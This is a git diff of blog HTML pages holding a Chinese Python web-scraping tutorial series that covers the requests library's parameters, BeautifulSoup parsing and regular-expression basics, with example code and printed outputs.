  • **kwargs:控制访问的参数,具体参数如下:
  • -
    • -
    • params:字典或字节序列,作为参数增加到url中。使用这个参数可以把一些键值对以?key1=value1&key2=value2的模式增加到url中
    • -
    -
  • -
-
## request(method, url, **kwargs),当 **kwargs 为 params
-import requests
-
-payload = {'key1': 'value1', 'key2': 'value2'}
-r = requests.request('GET', 'http://httpbin.org/get', params=payload)
-print(r.url)
-# result: http://httpbin.org/get?key1=value1&key2=value2
-print(r.text)
-# result:
-# {
-#   "args": {
-#     "key1": "value1", 
-#     "key2": "value2"
-#   }, 
-#   "headers": {
-#     "Accept": "*/*", 
-#     "Accept-Encoding": "gzip, deflate", 
-#     "Connection": "close", 
-#     "Host": "httpbin.org", 
-#     "User-Agent": "python-requests/2.19.1"
-#   }, 
-#   "origin": "1.203.183.95", 
-#   "url": "http://httpbin.org/get?key1=value1&key2=value2"
-# }
-
    -
    • -
    • data:字典,字节序或文件对象,重点作为向服务器提供或提交资源是提交,作为request的内容,与params不同的是,data提交的数据并不放在url链接里, 而是放在url链接对应位置的地方作为数据来存储。它也可以接受一个字符串对象。
    • -
    -
  • -
-
## request(method, url, **kwargs),当 **kwargs 为 data
-import requests
-
-payload = {'key1': 'value1', 'key2': 'value2'}
-r = requests.request('POST', 'http://httpbin.org/post', data=payload)
-print(r.url)
-# result: http://httpbin.org/post
-print(r.text)
-# result:
-# {
-#   "args": {}, 
-#   "data": "", 
-#   "files": {}, 
-#   "form": {
-#     "key1": "value1", 
-#     "key2": "value2"
-#   }, 
-#   "headers": {
-#     "Accept": "*/*", 
-#     "Accept-Encoding": "gzip, deflate", 
-#     "Connection": "close", 
-#     "Content-Length": "23", 
-#     "Content-Type": "application/x-www-form-urlencoded", 
-#     "Host": "httpbin.org", 
-#     "User-Agent": "python-requests/2.19.1"
-#   }, 
-#   "json": null, 
-#   "origin": "1.203.183.95", 
-#   "url": "http://httpbin.org/post"
-# }
-
    -
    • -
    • json:json格式的数据, json合适在相关的html,http相关的web开发中非常常见, 也是http最经常使用的数据格式, 他是作为内容部分可以向服务器提交。
    • -
    -
  • -
-
## request(method, url, **kwargs),当 **kwargs 为 json
-import requests
-
-payload = {'key1': 'value1', 'key2': 'value2'}
-r = requests.request('POST', 'http://httpbin.org/post', json=payload)
-print(r.url)
-# result: http://httpbin.org/post
-print(r.text)
-# result:
-# {
-#   "args": {}, 
-#   "data": "{\"key1\": \"value1\", \"key2\": \"value2\"}", 
-#   "files": {}, 
-#   "form": {}, 
-#   "headers": {
-#     "Accept": "*/*", 
-#     "Accept-Encoding": "gzip, deflate", 
-#     "Connection": "close", 
-#     "Content-Length": "36", 
-#     "Content-Type": "application/json", 
-#     "Host": "httpbin.org", 
-#     "User-Agent": "python-requests/2.19.1"
-#   }, 
-#   "json": {
-#     "key1": "value1", 
-#     "key2": "value2"
-#   }, 
-#   "origin": "1.203.183.95", 
-#   "url": "http://httpbin.org/post"
-# }
-
    -
    • -
    • files:字典, 是用来向服务器传输文件时使用的字段。
    • -
    -
  • -
-
## request(method, url, **kwargs),当 **kwargs 为 file
-import requests
-# filejiatao.txt 文件的内容是文本“www.baidu.com www.cctvjiatao.com”
-files = {'file': open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "rb")}
-r = requests.request('POST', 'http://httpbin.org/post', files=files)
-print(r.url)
-# result: http://httpbin.org/post
-print(r.text)
-# result:
-# {
-#   "args": {}, 
-#   "data": "", 
-#   "files": {
-#     "file": "www.baidu.com www.cctvjiatao.com"
-#   }, 
-#   "form": {}, 
-#   "headers": {
-#     "Accept": "*/*", 
-#     "Accept-Encoding": "gzip, deflate", 
-#     "Connection": "close", 
-#     "Content-Length": "182", 
-#     "Content-Type": "multipart/form-data; boundary=ee12ea6a4fd2b8a3318566775f2b268f", 
-#     "Host": "httpbin.org", 
-#     "User-Agent": "python-requests/2.19.1"
-#   }, 
-#   "json": null, 
-#   "origin": "1.203.183.95", 
-#   "url": "http://httpbin.org/post"
-# }
-
    -
    • -
    • headers:字典是http的相关语,对应了向某个url访问时所发起的http的头字段, 可以用这个字段来定义http的访问的http头,可以用来模拟任何我们想模拟的浏览器来对url发起访问。
    • -
    -
  • -
-
## request(method, url, **kwargs),当 **kwargs 为 headers
-import requests
-
-payload = {'key1': 'value1', 'key2': 'value2'}
-headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36"}
-r = requests.request('GET', 'http://httpbin.org/get', params=payload, headers=headers)
-print(r.url)
-# result: http://httpbin.org/get?key1=value1&key2=value2
-print(r.text)
-# result:
-# {
-#   "args": {
-#     "key1": "value1", 
-#     "key2": "value2"
-#   }, 
-#   "headers": {
-#     "Accept": "*/*", 
-#     "Accept-Encoding": "gzip, deflate", 
-#     "Connection": "close", 
-#     "Host": "httpbin.org", 
-#     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36"
-#   }, 
-#   "origin": "1.203.183.95", 
-#   "url": "http://httpbin.org/get?key1=value1&key2=value2"
-# }
-
    -
    • -
    • cookies:字典或CookieJar,指的是从http中解析cookie
    • -
    -
  • -
-
## request(method, url, **kwargs),当 **kwargs 为 cookies
-import requests
-
-cookies = dict(cookies_are='working')
-r = requests.request('GET', 'http://httpbin.org/cookies', cookies=cookies)
-print(r.url)
-# result: http://httpbin.org/cookies
-print(r.text)
-# result:
-# {
-#   "cookies": {
-#     "cookies_are": "working"
-#   }
-# }
-
    -
    • -
    • auth:元组,用来支持http认证功能
    • -
    -
  • -
-
## request(method, url, **kwargs),当 **kwargs 为 auth
-import requests
-
-cs_user = '用户名'
-cs_psw = '密码'
-r = requests.request('GET', 'https://api.github.com', auth=(cs_user, cs_psw))
-print(r.url)
-# result: 待补充
-print(r.text)
-# result: 待补充
-
    -
    • -
    • timeout: 用于设定超时时间, 单位为秒,当发起一个get请求时可以设置一个timeout时间, 如果在timeout时间内请求内容没有返回, 将产生一个timeout的异常。
    • -
    -
  • -
-
## request(method, url, **kwargs),当 **kwargs 为 timeout
-import requests
-
-r = requests.request('GET', 'http://github.com', timeout=0.001)
-print(r.url)
-# result: 报错 socket.timeout: timed out
-
    -
    • -
    • proxies:字典, 用来设置访问代理服务器。
    • -
    -
  • -
-
## request(method, url, **kwargs),当 **kwargs 为 proxies
-import requests
-
-proxies = {
-    'https': 'http://41.118.132.69:4433'
-}
-# 也可以通过环境变量设置代理
-# export HTTP_PROXY='http://10.10.1.10:3128'
-# export HTTPS_PROXY='http://10.10.1.10:1080'
-r = requests.request('GET', 'http://httpbin.org/get', proxies=proxies)
-print(r.url)
-# result: http://httpbin.org/get
-print(r.text)
-# result:
-# {
-#   "args": {}, 
-#   "headers": {
-#     "Accept": "*/*", 
-#     "Accept-Encoding": "gzip, deflate", 
-#     "Connection": "close", 
-#     "Host": "httpbin.org", 
-#     "User-Agent": "python-requests/2.19.1"
-#   }, 
-#   "origin": "1.203.183.95", 
-#   "url": "http://httpbin.org/get"
-# }
-
    -
    • -
    • verify:开关, 用于认证SSL证书, 默认为True
    • -
    -
  • -
-
## request(method, url, **kwargs),当 **kwargs 为 verify,SSL证书验证
-import requests
-
-r = requests.request('GET', 'https://kyfw.12306.cn/otn/', verify=True)
-print(r.text)
-
-r = requests.request('GET', 'https://kyfw.12306.cn/otn/', verify=False)
-print(r.text)
-
-r = requests.request('GET', 'https://github.com', verify=True)
-print(r.text)
-
    -
    • -
    • allow_redirects: 开关, 表示是否允许对url进行重定向, 默认为True。
    • -
    -
  • -
    • -
    • stream: 开关, 指是否对获取内容进行立即下载, 默认为True。
    • -
    -
  • -
    • -
    • cert: 用于设置保存本地SSL证书路径
    • -
    -
  • -
-

requests.get(url, params=None, **kwargs)

# 官方文档
-def get(url, params=None, **kwargs):
-    kwargs.setdefault('allow_redirects', True)
-    return request('get', url, params=params, **kwargs)
-

requests.post(url, data=None, json=None, **kwargs)

# 官方文档
-def post(url, data=None, json=None, **kwargs):
-    return request('post', url, data=data, json=json, **kwargs)
-

requests.head(url, **kwargs)

# 官方文档
-def head(url, **kwargs):
-    kwargs.setdefault('allow_redirects', False)
-    return request('head', url, **kwargs)
-

requests.options(url, **kwargs)

# 官方文档
-def options(url, **kwargs):
-    kwargs.setdefault('allow_redirects', True)
-    return request('options', url, **kwargs)
-

requests.put(url, data=None, **kwargs)

# 官方文档
-def put(url, data=None, **kwargs):
-    return request('put', url, data=data, **kwargs)
-

requests.patch(url, data=None, **kwargs)

# 官方文档
-def patch(url, data=None, **kwargs):
-    return request('patch', url, data=data, **kwargs)
-
-

requests.patch和request.put类似。
两者不同的是: 当我们用patch时仅需要提交需要修改的字段。
而用put时,必须将所有字段一起提交到url,未提交字段将会被删除。
patch的好处是:节省网络带宽。

-
-

requests.delete(url, **kwargs)

# 官方文档
-def delete(url, **kwargs):
-    return request('delete', url, **kwargs)
-

requests库的异常

注意requests库有时会产生异常,比如网络连接错误、http错误异常、重定向异常、请求url超时异常等等。所以我们需要判断r.status_codes是否是200,在这里我们怎么样去捕捉异常呢?
这里我们可以利用r.raise_for_status() 语句去捕捉异常,该语句在方法内部判断r.status_code是否等于200,如果不等于,则抛出异常。
于是在这里我们有一个爬取网页的通用代码框架

-
try:
-    r = requests.get(url, timeout=30)  # 请求超时时间为30秒
-    r.raise_for_status()  # 如果状态不是200,则引发异常
-    r.encoding = r.apparent_encoding  # 配置编码
-    print(r.text)
-except:
-    print("产生异常")
-

三、requests的综合小实例

实例一:京东商品信息的爬取

## 京东商品信息的爬取
-# 不需要对头部做任何修改,即可爬网页
-import requests
-
-url = 'http://item.jd.com/2967929.html'
-try:
-    r = requests.get(url, timeout=30)
-    r.raise_for_status()
-    r.encoding = r.apparent_encoding
-    print(r.text[:1000])  # 部分信息
-except:
-    print("失败")
-

实例二:亚马逊商品信息的爬取

## 亚马逊商品信息的爬取
-# 该网页中对爬虫进行的爬取做了限制,因此我们需要伪装自己为浏览器发出的请求
-import requests
-
-url = 'http://www.amazon.cn/gp/product/B01M8L5Z3Y'
-try:
-    kv = {'user_agent': 'Mozilla/5.0'}
-    r = requests.get(url, headers=kv)  # 改变自己的请求数据
-    r.raise_for_status()
-    r.encoding = r.apparent_encoding
-    print(r.text[1000:2000])  # 部分信息
-except:
-    print("失败")
-

实例三:百度搜索关键字提交

## 百度搜索关键字提交
-# 百度的关键字接口:https://www.baidu.com/s?wd=keyword
-import requests
-
-keyword = 'python'
-try:
-    kv = {'wd': keyword}
-    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36"}
-    r = requests.get('https://www.baidu.com/s', params=kv, headers=headers)
-    r.raise_for_status()
-    r.encoding = r.apparent_encoding
-    # print(len(r.text))
-    print(r.text)
-except:
-    print("失败")
-

实例四:网络图片的爬取

## 网络图片的爬取
-import requests
-import os
-
-try:
-    url = "https://odonohz90.qnssl.com/library/145456/bb0b3faa7a872d012bb4c57256b47585.jpg?imageView2/2/w/1000/h/1000/q/75"  # 图片地址
-    root = r"D:\DataguruPyhton\PythonSpider\lesson3\pic\\"
-    path = root + url.split("/")[-1]
-    if not path.endswith(".jpg"):
-        path += ".jpg"
-    if not os.path.exists(root):  # 目录不存在创建目录
-        os.mkdir(root)
-    if not os.path.exists(path):  # 文件不存在则下载
-        r = requests.get(url)
-        f = open(path, "wb")
-        f.write(r.content)
-        f.close()
-        print("文件下载成功")
-    else:
-        print("文件已经存在")
-except:
-    print("获取失败")
-
-
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - - -
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - Python网络爬虫实战之四:BeautifulSoup - - Python网络爬虫实战之四:BeautifulSoup -
-
-
-
- - 正文:Beautiful Soup 是一个可以从HTML或XML文件中提取数据的Python库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.Beautiful Soup会帮你节省数小时甚至数天的工作时间. -安装: pi - -
-
- - 2019-05-14 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - Python网络爬虫实战之二:环境部署、基础语法、文件操作 - - Python网络爬虫实战之二:环境部署、基础语法、文件操作 -
-
-
-
- - 一、Python的环境部署Python安装、Python的IDE安装本文不再赘述,网上有很多教程 -爬虫必备的几个库:Requests、Selenium、lxml、Beatiful Soup - -Requests 是基于urllib编写的第三方 - -
-
- - 2019-05-12 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/05/14/python-crawler-beautifulsoup-4/index.html b/2019/05/14/python-crawler-beautifulsoup-4/index.html deleted file mode 100644 index 2ab24ab..0000000 --- a/2019/05/14/python-crawler-beautifulsoup-4/index.html +++ /dev/null @@ -1,1039 +0,0 @@ - - - - - - - - - - - - - - - - Python网络爬虫实战之四:BeautifulSoup | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- Python网络爬虫实战之四:BeautifulSoup -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-

正文:

Beautiful Soup 是一个可以从HTML或XML文件中提取数据的Python库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.Beautiful Soup会帮你节省数小时甚至数天的工作时间.

-

安装: pip install beautifulsoup4

-
-

名字是beautifulsoup 的包,是 Beautiful Soup3 的发布版本,因为很多项目还在使用BS3, 所以 beautifulsoup 包依然有效.但是如果你在编写新项目,那么你应该安装的 beautifulsoup4,这个包兼容Python2和Python3

-
-

BeautifulSoup的基础使用

下面的一段HTML代码将作为例子被多次用到.这是《爱丽丝梦游仙境》的的一段内容(以后简称文档)

-
html_doc = """
-<html><head><title>The Dormouse's story</title></head>
-<body>
-<p class="title"><b>The Dormouse's story</b></p>
-
-<p class="story">Once upon a time there were three little sisters; and their names were
-<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,
-<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and
-<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;
-and they lived at the bottom of a well.</p>
-
-<p class="story">...</p>
-"""
-

使用BeautifulSoup解析这段代码,能够得到一个 BeautifulSoup 的对象,并能按照标准的缩进格式的结构输出

-
from bs4 import BeautifulSoup
-
-soup = BeautifulSoup(html_doc, "lxml")
-print(soup.prettify())
-# result:
-# <html>
-#  <head>
-#   <title>
-#    The Dormouse's story
-#   </title>
-#  </head>
-#  <body>
-#   <p class="title">
-#    <b>
-#     The Dormouse's story
-#    </b>
-#   </p>
-#   <p class="story">
-#    Once upon a time there were three little sisters; and their names were
-#    <a class="sister" href="http://example.com/elsie" id="link1">
-#     Elsie
-#    </a>
-#    ,
-#    <a class="sister" href="http://example.com/lacie" id="link2">
-#     Lacie
-#    </a>
-#    and
-#    <a class="sister" href="http://example.com/tillie" id="link3">
-#     Tillie
-#    </a>
-#    ;
-# and they lived at the bottom of a well.
-#   </p>
-#   <p class="story">
-#    ...
-#   </p>
-#  </body>
-# </html>
-

几个简单的浏览结构化数据的方法

-
soup.title
-# result: <title>The Dormouse's story</title>
-
-soup.title.name
-# result: 'title'
-
-soup.title.string
-# result: 'The Dormouse's story'
-
-soup.title.text
-# result: 'The Dormouse's story'
-
-soup.title.parent.name
-# result: 'head'
-
-soup.p
-# result: <p class="title"><b>The Dormouse's story</b></p>
-
-soup.p['class']
-# result: 'title'
-
-soup.a
-# result: <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>
-
-soup.find_all('a')
-#  result:
-# [<a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>,
-#  <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a>,
-#  <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>]
-
-soup.find(id="link3")
-# result: <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>
-

从文档中找到所有标签的链接

-
for link in soup.find_all('a'):
-    print(link.get('href'))
-# result:
-# http://example.com/elsie
-# http://example.com/lacie
-# http://example.com/tillie
-

从文档中获取所有文字内容

-
print(soup.get_text())
-# result:
-# The Dormouse's story
-#
-# The Dormouse's story
-#
-# Once upon a time there were three little sisters; and their names were
-# Elsie,
-# Lacie and
-# Tillie;
-# and they lived at the bottom of a well.
-#
-# ...
-

从文档中解析导航树

-
# 直接子节点
-print(soup.body.contents)
-
-for child in soup.descendants:
-    print(child)
-
-# 所有后代节点
-for child in soup.descendants:
-    print(child)
-
-# 节点内容1-包含换行符
-for string in soup.strings:
-    print(repr(string))
-
-# 节点内容2-不包含换行符
-for string in soup.stripped_strings:
-    print(repr(string))
-
-# 兄弟节点(没有一个兄弟节点会返回None)
-print(soup.p.next_sibling)
-print(soup.p.previous_sibling)
-
-for sibling in soup.a.next_siblings:
-    print(repr(sibling))
-
-# 前后节点
-print(soup.head.next_element)
-print(soup.head.previous_element)
-
-# 父节点
-from urllib.request import urlopen
-
-html = urlopen("http://www.pythonscraping.com/pages/page3.html")
-bsObj = BeautifulSoup(html)
-print(bsObj.find("img", {"src": "../img/gifts/img1.jpg"}).parent.previous_sibling.get_text())
-

从文档中解析CSS选择器

-
print(soup.select('title'))
-print(soup.select('a'))
-print(soup.select('b'))
-print(soup.select('.sisiter'))
-print(soup.select('#link1'))
-print(soup.select('p #link1'))
-print(soup.select('head > title'))
-print(soup.select('a[class="sister"]'))
-print(soup.select('a[href="http://example.com/elsie"]'))
-print(soup.select('p a[href="http://example.com/elsie"]'))
-

结合正则表达式或其他逻辑条件

-
import re
-
-for tag in soup.find_all(href=re.compile("elsie")):
-    print(tag)
-# result: <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>
-
-for tag in soup.find_all("a", class_="sister"):
-    print(tag)
-# result:
-# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>
-# <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a>
-# <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>
-
-for tag in soup.find_all(["a", "b"]):
-    print(tag)
-# result :
-# <b>The Dormouse's story</b>
-# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>
-# <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a>
-# <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>
-
-
-for tag in soup.find_all(True):
-    print(tag)
-
-
-# result:
-# <html><head><title>The Dormouse's story</title></head>
-# <body>
-# <p class="title"><b>The Dormouse's story</b></p>
-# <p class="story">Once upon a time there were three little sisters; and their names were
-# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>,
-# <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a> and
-# <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>;
-# and they lived at the bottom of a well.</p>
-# <p class="story">...</p>
-# </body></html>
-# <head><title>The Dormouse's story</title></head>
-# <title>The Dormouse's story</title>
-# <body>
-# <p class="title"><b>The Dormouse's story</b></p>
-# <p class="story">Once upon a time there were three little sisters; and their names were
-# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>,
-# <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a> and
-# <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>;
-# and they lived at the bottom of a well.</p>
-# <p class="story">...</p>
-# </body>
-# <p class="title"><b>The Dormouse's story</b></p>
-# <b>The Dormouse's story</b>
-# <p class="story">Once upon a time there were three little sisters; and their names were
-# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>,
-# <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a> and
-# <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>;
-# and they lived at the bottom of a well.</p>
-# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>
-# <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a>
-# <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>
-# <p class="story">...</p>
-
-def has_class_but_no_id(tag):
-    return tag.has_attr('class') and not tag.has_attr('id')
-
-
-for tag in soup.find_all(has_class_but_no_id):
-    print(tag)
-# result:
-# <p class="title"><b>The Dormouse's story</b></p>
-# <p class="story">Once upon a time there were three little sisters; and their names were
-# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>,
-# <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a> and
-# <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>;
-# and they lived at the bottom of a well.</p>
-# <p class="story">...</p>
-

BeautifulSoup的主要参数的使用

html_doc = """
-<html><head><title>The Dormouse's story</title></head>
-<body>
-<p class="title"><b>The Dormouse's story</b></p>
-
-<p class="story">Once upon a time there were three little sisters; and their names were
-<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,
-<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and
-<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;
-and they lived at the bottom of a well.</p>
-
-<p class="story">...</p>
-"""
-import bs4
-from bs4 import BeautifulSoup
-
-soup = BeautifulSoup(html_doc, "lxml")
-
-# text参数
-soup.find_all(text="Elsie")
-soup.find_all(text=["Elsie", "Lacie", "Tillie"])
-soup.find_all(text=re.compile("Dormouse"))
-
-# limit参数
-soup.find_all("a", limit=2)
-
-# recursive参数
-soup.html.find_all("title")
-soup.html.find_all("title", recursive=False)
-
-# tag对象
-print(soup.title)
-print(soup.head)
-print(soup.a)
-print(soup.p)
-
-print(type(soup.a))
-
-print(soup.name)
-print(soup.head.name)
-print(soup.p.attrs)
-
-print(soup.p['class'])
-print(soup.p.get('class'))
-soup.p['class'] = "newclass"
-print(soup.p)
-
-del soup.p['class']
-print(soup.p)
-
-# NavigableString对象
-print(soup.p.string)
-print(type(soup.p.string))
-
-# BeautifulSoup对象
-print(type(soup.name))
-print(soup.name)
-print(soup.attrs)
-
-# Comment对象
-print(soup.a)
-print(soup.a.string)
-print(type(soup.a.string))
-
-if type(soup.a.string) == bs4.element.Comment:
-    print(soup.a.string)
-

BeautifulSoup解析在线网页实例

from urllib.request import urlopen
-from bs4 import BeautifulSoup
-
-html = urlopen('http://www.pythonscraping.com/exercises/exercise1.html')
-bsObj = BeautifulSoup(html.read(), 'lxml')
-print(bsObj.h1)
-
-# CSS属性
-from urllib.request import urlopen
-from bs4 import BeautifulSoup
-
-html = urlopen('http://www.pythonscraping.com/pages/warandpeace.html')
-bsObj = BeautifulSoup(html, 'lxml')
-nameList = bsObj.findAll('span', {'class': 'green'})
-for name in nameList:
-    print(name.get_text())
-
-# find()和findall()
-from urllib.request import urlopen
-from bs4 import BeautifulSoup
-
-html = urlopen('http://www.pythonscraping.com/pages/warandpeace.html')
-bsObj = BeautifulSoup(html)
-allText = bsObj.findAll(id='text')
-print(allText[0].get_text())
-

更多使用方法参见BeautifulSoup 中文文档

- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - -
-

- -   转载请注明: - - 苦乐随缘 - - Python网络爬虫实战之四:BeautifulSoup -

-
-
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - Python网络爬虫实战之五:正则表达式 - - Python网络爬虫实战之五:正则表达式 -
-
-
-
- - 正文:正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。 -通过一个小实例来了解正则表达式的作用# 从字 - -
-
- - 2019-05-15 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - Python网络爬虫实战之三:基本工具库urllib和requests - - Python网络爬虫实战之三:基本工具库urllib和requests -
-
-
-
- - Python网络爬虫实战之三:基本工具库urllib和requests一、urlliburllib简介urllib是Python中一个功能强大用于操作URL,并在爬虫时经常用到的一个基础库,无需额外安装,默认已经安装到python中。 -ur - -
-
- - 2019-05-13 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/05/15/python-crawler-regular-expression-5/index.html b/2019/05/15/python-crawler-regular-expression-5/index.html deleted file mode 100644 index f65c800..0000000 --- a/2019/05/15/python-crawler-regular-expression-5/index.html +++ /dev/null @@ -1,948 +0,0 @@ - - - - - - - - - - - - - - - - Python网络爬虫实战之五:正则表达式 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- Python网络爬虫实战之五:正则表达式 -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-

正文:

正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。

-

通过一个小实例来了解正则表达式的作用

# 从字符串 str 中找出abc/数字
-import re
-
-s = '123abc456eabc789'
-re.findall(r'abc', s)
-# result: ['abc', 'abc']
-re.findall('[0-9]+',s)
-# result: ['123', '456', '789']
-

限定符

限定符用来指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。有 * 或 + 或 ? 或 {n} 或 {n,} 或 {n,m} 共6种。

-

img

-

5-1.jpg

-
import re
-
-s = 'Chapter1 Chapter2 Chapter10 Chapter99 fheh'
-re.findall('Chapter[1-9][0-9]*', s)
-# result:['Chapter1', 'Chapter2', 'Chapter10', 'Chapter99']
-re.findall('Chapter[1-9][0-9]+', s)
-# result: ['Chapter10', 'Chapter99']
-re.findall('Chapter[1-9][0-9]?', s)
-# result:['Chapter1', 'Chapter2', 'Chapter10', 'Chapter99']
-re.findall('Chapter[1-9][0-9]{0,1}', s)
-# result:['Chapter1', 'Chapter2', 'Chapter10', 'Chapter99']
-re.findall('Chapter[1-9][0-9]{1,2}', s)
-# result:['Chapter10', 'Chapter99']
-

贪婪匹配与非贪婪匹配

正则匹配默认是贪婪匹配,也就是匹配尽可能多的字符

-
import re
-
-# 贪婪模式
-s = '<H1>Chapter 1 – Introduction to Regular Expressions</H1>'
-re.findall('<.*>', s)
-# result: ['<H1>Chapter 1 – Introduction to Regular Expressions</H1>']
-# 非贪婪模式
-re.findall('<.*?>', s)
-# result: ['<H1>', '</H1>']
-

定位符

定位符使您能够将正则表达式固定到行首或行尾。它们还使您能够创建这样的正则表达式,这些正则表达式出现在一个单词内、在一个单词的开头或者一个单词的结尾。

-

定位符用来描述字符串或单词的边界,^ 和 $ 分别指字符串的开始与结束,\b 描述单词的前或后边界,\B 表示非单词边界。

-

img

-

5-2.jpg

-
import re
-
-s = 'Chapter1 Chapter2 Chapter11 Chapter99'
-re.findall('^Chapter[1-9][0-9]{0,1}', s)
-# result: ['Chapter1']
-re.findall('^Chapter[1-9][0-9]{0,1}$', 'Chapter99')
-# result: ['Chapter99']
-re.findall(r'\bCha', ' Chapter')
-# result: ['Cha']
-re.findall(r'ter\b', ' Chapter')
-# result: ['ter']
-re.findall(r'\Bapt', 'Chapter')
-# result: ['apt']
-re.findall(r'\Bapt', 'aptitude')
-# result: []
-

分组与捕获组

要说明白捕获,就要先从分组开始。重复单字符我们可以使用限定符,如果重复字符串,用什么呢? 对!用小括号,小括号里包裹指定字表达式(子串),这就是分组。之后就可以限定这个子表示的重复次数了。

-

那么,什么是捕获呢?使用小括号指定一个子表达式后,匹配这个子表达式的文本(即匹配的内容)可以在表达式或者其他过程中接着用,怎么用呢?至少应该有个指针啥的引用它吧? 对!默认情况下,每个分组(小括号)会自动拥有一个组号,从左到右,以分组的左括号为标志,第一个出现的分组组号为1,后续递增。如果出现嵌套,

-
s = 'aaa111aaa , bbb222 , 333ccc'
-re.findall(r'[a-z]+(\d+)[a-z]', s)
-# result:['111']
-re.findall(r'[a-z]+\d+[a-z]', s)  # 对比(\d+)的用法
-# result:['aaa111a']
-re.findall(r'[a-z]+\d+[a-z]+', s)  # 对比(\d+)的用法
-# result:['aaa111aaa']
-
-s = '111aaa222aaa111 , 333bbb444bb33'
-re.findall(r'(\d+)([a-z]+)(\d+)(\2)(\1)', s)
-# result:[('111', 'aaa', '222', 'aaa', '111')]
-re.findall(r'(\d+)([a-z]+)(\d+)(\2)(\1)', '333bbb444bb33')
-# result:[]
-re.findall(r'(\d+)([a-z]+)(\d+)(\2)(\1)', '333bbb444bbb333')
-# result:[('333', 'bbb', '444', 'bbb', '333')]
-re.findall(r'(\d+)([a-z]+)(\d+)(\1)(\2)', '333bbb444bbb333')
-# result:[]
-

非捕获组

用圆括号将所有选择项括起来,相邻的选择项之间用|分隔。但用圆括号会有一个副作用,使相关的匹配会被缓存。可用?:放在第一个选项前来消除这种副作用。

-

其中 ?: 是非捕获元之一,还有两个非捕获元是 ?= 和 ?!,这两个还有更多的含义,前者为正向预查,在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串,后者为负向预查,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串。

-
# (?:pattern)与(pattern)不同之处只是在于不捕获结果,非捕获组只匹配结果,但不捕获结果,也不会分配组号
-s = 'industry is industries lala industyyy industiii'
-re.findall(r'industr(?:y|ies)', s)
-# result: ['industry', 'industries']
-
-s = 'Windows2000 Windows3.1'
-re.findall(r'Windows(?=95|98|NT|2000)', s)
-# result: ['Windows']
-# 匹配 "Windows2000" 中的 "Windows",不匹配 "Windows3.1" 中的 "Windows"。
-
-s = 'Windows2000 Windows3.1'
-re.findall(r'Windows(?!95|98|NT|2000)', s)
-# result: ['Windows']
-# 匹配 "Windows3.1" 中的 "Windows",不匹配 "Windows2000" 中的 "Windows"。
-
-s = 'aaa111aaa,bbb222,333ccc,444ddd444,555eee666,fff777ggg'
-re.findall(r'([a-z]+)\d+([a-z]+)', s)
